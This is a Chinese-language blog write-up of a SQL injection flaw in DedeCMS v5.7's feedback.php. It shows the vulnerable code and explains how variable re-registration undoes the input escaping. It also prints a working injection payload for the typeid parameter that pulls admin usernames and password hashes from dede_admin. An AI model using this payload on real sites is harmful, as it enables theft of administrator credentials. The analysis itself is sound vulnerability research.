Dedecms v5.7 最新注入分析
该漏洞是cyg07在乌云提交的, 漏洞文件: plus\feedback.php。
存在问题的代码:
01 |
... |
02 |
if ( $comtype == 'comments' ) |
03 |
{ |
04 |
$arctitle = addslashes ( $title ); |
05 |
if ( $msg != '' ) |
06 |
{ //$typeid变量未做初始化 |
07 |
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) |
08 |
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' ); "; |
09 |
echo $inquery ; //调试,输出查询语句 |
10 |
$rs = $dsql ->ExecuteNoneQuery( $inquery ); |
11 |
if (! $rs ) |
12 |
{ |
13 |
ShowMsg( ' 发表评论错误! ' , '-1' ); |
14 |
//echo $dsql->GetError(); |
15 |
exit (); |
16 |
} |
17 |
} |
18 |
} |
19 |
//引用回复 |
20 |
elseif ( $comtype == 'reply' ) |
21 |
{ |
22 |
$row = $dsql ->GetOne( "SELECT * FROM `#@__feedback` WHERE id ='$fid'" ); |
23 |
$arctitle = $row [ 'arctitle' ]; |
24 |
$aid = $row [ 'aid' ]; |
25 |
$msg = $quotemsg . $msg ; |
26 |
$msg = HtmlReplace( $msg , 2); |
27 |
$inquery = "INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) |
28 |
VALUES ( '$aid' , '$typeid' , '$username' , '$arctitle' , '$ip' , '$ischeck' , '$dtime' , '{$cfg_ml->M_ID}' , '0' , '0' , '$feedbacktype' , '$face' , '$msg' )"; |
29 |
$dsql ->ExecuteNoneQuery( $inquery ); |
30 |
} |
完整的输入语句,第二个参数 typeid可控。
1 |
INSERT INTO `#@__feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`, `mid`,`bad`,`good`,`ftype`,`face`,`msg`) VALUES ( '108' , '2' , '游客' , 'paxmac' , '127.0.0.1' , '1' , '1351774092' , '0' , '0' , '0' , 'feedback' , '0' , 'nsfocus&&paxmac team' ); |
想要利用注入,就要先了解下dedecms的防御机制。
首先他对一切request进来的参数都会进行转义,具体看代码
common.inc.php文件 会把所有的request进行处理。
01 |
function _RunMagicQuotes(& $svar ) |
02 |
{ |
03 |
if (!get_magic_quotes_gpc()) |
04 |
{ |
05 |
if ( is_array ( $svar ) ) |
06 |
{ |
07 |
foreach ( $svar as $_k => $_v ) $svar [ $_k ] = _RunMagicQuotes( $_v ); |
08 |
} |
09 |
else |
10 |
{ |
11 |
if ( strlen ( $svar )>0 && preg_match( '#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#' , $svar ) ) |
12 |
{ |
13 |
exit ( 'Request var not allow!' ); |
14 |
} |
15 |
$svar = addslashes ( $svar ); |
16 |
} |
17 |
} |
18 |
return $svar ; |
19 |
} |
20 |
….. |
21 |
foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
22 |
{ |
23 |
foreach ($ $_request as $_k => $_v ) |
24 |
{ |
25 |
if ( $_k == 'nvarname' ) ${ $_k } = $_v ; |
26 |
else ${ $_k } = _RunMagicQuotes( $_v ); |
27 |
} |
28 |
} |
29 |
…. |
从上面代码可以看到他对外来的提交进行了转义处理,但是在filter.ini.php文件中
01 |
function _FilterAll( $fk , & $svar ) |
02 |
{ |
03 |
global $cfg_notallowstr , $cfg_replacestr ; |
04 |
if ( is_array ( $svar ) ) |
05 |
{ |
06 |
foreach ( $svar as $_k => $_v ) |
07 |
{ |
08 |
$svar [ $_k ] = _FilterAll( $fk , $_v ); |
09 |
} |
10 |
} |
11 |
else |
12 |
{ |
13 |
if ( $cfg_notallowstr != '' && preg_match( "#" . $cfg_notallowstr . "#i" , $svar )) |
14 |
{ |
15 |
ShowMsg( " $fk has not allow words!" , '-1' ); |
16 |
exit (); |
17 |
} |
18 |
if ( $cfg_replacestr != '' ) |
19 |
{ |
20 |
$svar = preg_replace( '/' . $cfg_replacestr . '/i' , "***" , $svar ); |
21 |
} |
22 |
} |
23 |
return $svar ; |
24 |
} |
25 |
26 |
/* 对_GET,_POST,_COOKIE进行过滤 */ |
27 |
foreach (Array( '_GET' , '_POST' , '_COOKIE' ) as $_request ) |
28 |
{ |
29 |
foreach ($ $_request as $_k => $_v ) |
30 |
{ |
31 |
${ $_k } = _FilterAll( $_k , $_v ); |
32 |
} |
33 |
} |
上面是处理敏感词的代码,但是又对变量进行了注册,导致了变量二次覆盖漏洞。其实这漏洞很早前就存在,之前的是因为对提交的变量只检查一维数组的key,可以被绕过从而创建不允许的系统配置变量,dedecms历来的修改都让人摸不着头脑,修补的都是表面的东西,实质导致漏洞问题的原因不做修改。从这次的补丁看来,他就只加了一句判断$typeid是否为数字,对于80sec的防注入代码2次被绕过还继续无视。
所以在GPC=OFF的时候,被转义的变量又会被重新覆盖而变成正常代码。
Eg: typeid=2\’ 经过覆盖 typeid=2’
研究过上次dedecms SQL注入的问题的同学肯定了解他的防注入机制。这里做下简单的分析。他对于\到\之间的内容作为可信任,不对其进行检查。所以我们只要把想利用的代码放在’ ‘内就能躲过检查。利用Mysql的一个语法,他的值@`’`为空,下面来构造漏洞exp:
typeid=123′,@`’`,0×11111,1111,1,1351739660, 0,0,0,0,0,(SELECT concat(uname,0x5f,pwd,0x5f) FROM dede_admin)),(108,’1111
我用tamper data提交此参数,
其实这里也利用了一个小bug
可以看到他的表结构,只有msg可以为null,但是利用代码中在username中用了null,这是非法的语句,单独插入是不会成功的,但是后面一句语句是成立的,insert (a,b) values (1,1),(2,2) (1,1,)非法 (2,2)符合条件的时候会成功同时插入2条语句。由于显示字符数量的问题,所以选择了msg字段作为输出。
Dedecms v5.7 最新注入分析的更多相关文章
- DedeCMS V5.7sp2最新版本parse_str函数SQL注入漏洞
织梦dedecms,在整个互联网中许多企业网站,个人网站,优化网站都在使用dede作为整个网站的开发架构,dedecms采用php+mysql数据库的架构来承载整个网站的运行与用户的访问,首页以及栏目 ...
- Dedecms <= V5.6 Final模板执行漏洞
漏洞版本: Dedecms V5.6 Final 漏洞描述: Dedecms V5.6 Final版本中的各个文件存在一系列问题,经过精心构造的含有恶意代表的模板内容可以通过用户后台的上传附件的功能上 ...
- CVE-2018-20129:DedeCMS V5.7 SP2前台文件上传漏洞
一.漏洞摘要 漏洞名称: DedeCMS V5.7 SP2前台文件上传漏洞上报日期: 2018-12-11漏洞发现者: 陈灿华产品首页: http://www.dedecms.com/软件链接: ht ...
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- 织梦DedeCms网站内部SEO详细分析
一.确定网站的目标关键词 最为重要的一方面,一般网站首页的目标关键词建议在1-3个.对于目标关键词的选取有几个建议 1.定位:网站的内容和业务相关 2.分析:对用户体验及竞争对手的网站进行分析 3.筛 ...
- 为dedecms v5.7的ckeditor添加jwplayer插件
dedecms v5.7的默认编辑器是ckeditor,不过用的是php版本的,默认的工具栏不在config.js里面配置,而是在ckeditor.inc.php里面配置,默认的工具栏是$toolba ...
- Dedecms v5.7包含上传漏洞利用
Title:Dedecms v5.7包含上传漏洞利用 --2012-09-21 10:16 注册,登录,免邮箱验证. up.htm ---------------------------------- ...
- 织梦DedeCMS v5.7 实现导航条下拉菜单
首先将下面这段代码贴到templets\default\footer.htm文件里(只要在此文件里就行,位置无所谓) <</span>script type='text/javasc ...
- 技能提升丨Seacms 8.7版本SQL注入分析
有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解.其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注 ...
随机推荐
- matplotlib 的几种风格 练习
〇.准备数据 import numpy as np x = np.linspace(0, 5, 10) y = x ** 2 一.matlab风格的API 1.单图 from pylab import ...
- CSS 实现加载动画之五-光盘旋转
今天做的这个动画叫光盘旋转,名字自己取的.动画的效果估计很多人都很熟悉,就是微信朋友圈里的加载动画.做过前面几个动画,发现其实都一个原理,就是如何将动画的元素如何分离出来.这个动画的实现也很简单,关键 ...
- GEOS库的学习之二:简单几何图形的创建
几何图形(Geometry)是geos里面基本的操作对象,因此Geometry类就是最重要的一个类 几何图形中主要有三个要素:点,线,面.横纵坐标构成点,多个点构成线,环线构成面,点线面混合构成几何集 ...
- WebSocket 服务器4
Java Websocket实例 Websocket 2015-04-11 14:11:54 发布 您的评价: 4.4 收藏 6收藏 介绍 现很多网站为了实现即时通讯,所用 ...
- 20155226田皓宇关于优秀技能经验以及c语言学习感悟和对JAVA的展望
读老师文章后关于一项优秀技能的经验有感 1.首先我自我剖析认为,我是没有哪一个方面能做到强于身边90%的人的,我只能说有些方面略强于身边的人.比如唱歌.办公软件的应用(word.excel)等.但我不 ...
- AVPlayer的使用本地视频
1引入AVFoundation.framework框架 2引入头文件<AVFoundation/AVFoundation.h>,并拖入需要播放的视频文件 代码如下: 自定义播放的View, ...
- Jquery操作select,radio,input,p之类
select的操作 变化后触发操作 $("#txtaddprojecturl").change(function(){ $("#addprojectname") ...
- 需要中文版《The Scheme Programming Language》的朋友可以在此留言(内附一小段译文)
首先给出原著的链接:http://www.scheme.com/tspl4/. 我正在持续翻译这本书,大概每天都会翻译两小时.若我个人拿不准的地方,我会附上原文,防止误导:还有些不适合翻译的术语,我会 ...
- DELL VENUE 11 PRO系统损坏之后的解决办法
首页说明下我的平板是dell venue 11 pro atom版+win8.1版. 前两天测试玩win10,结果后来几天这货直接开不了机了,每次提示自动修复,但是却说找不到某一文件,然后蓝屏,win ...
- linux下安装openssh-server
csdn博文地址:linux下安装openssh-server 点击进入 系统是ubuntu14.04,系统默认安装了openssh-client,但没有安装openssh-server,需要手动 ...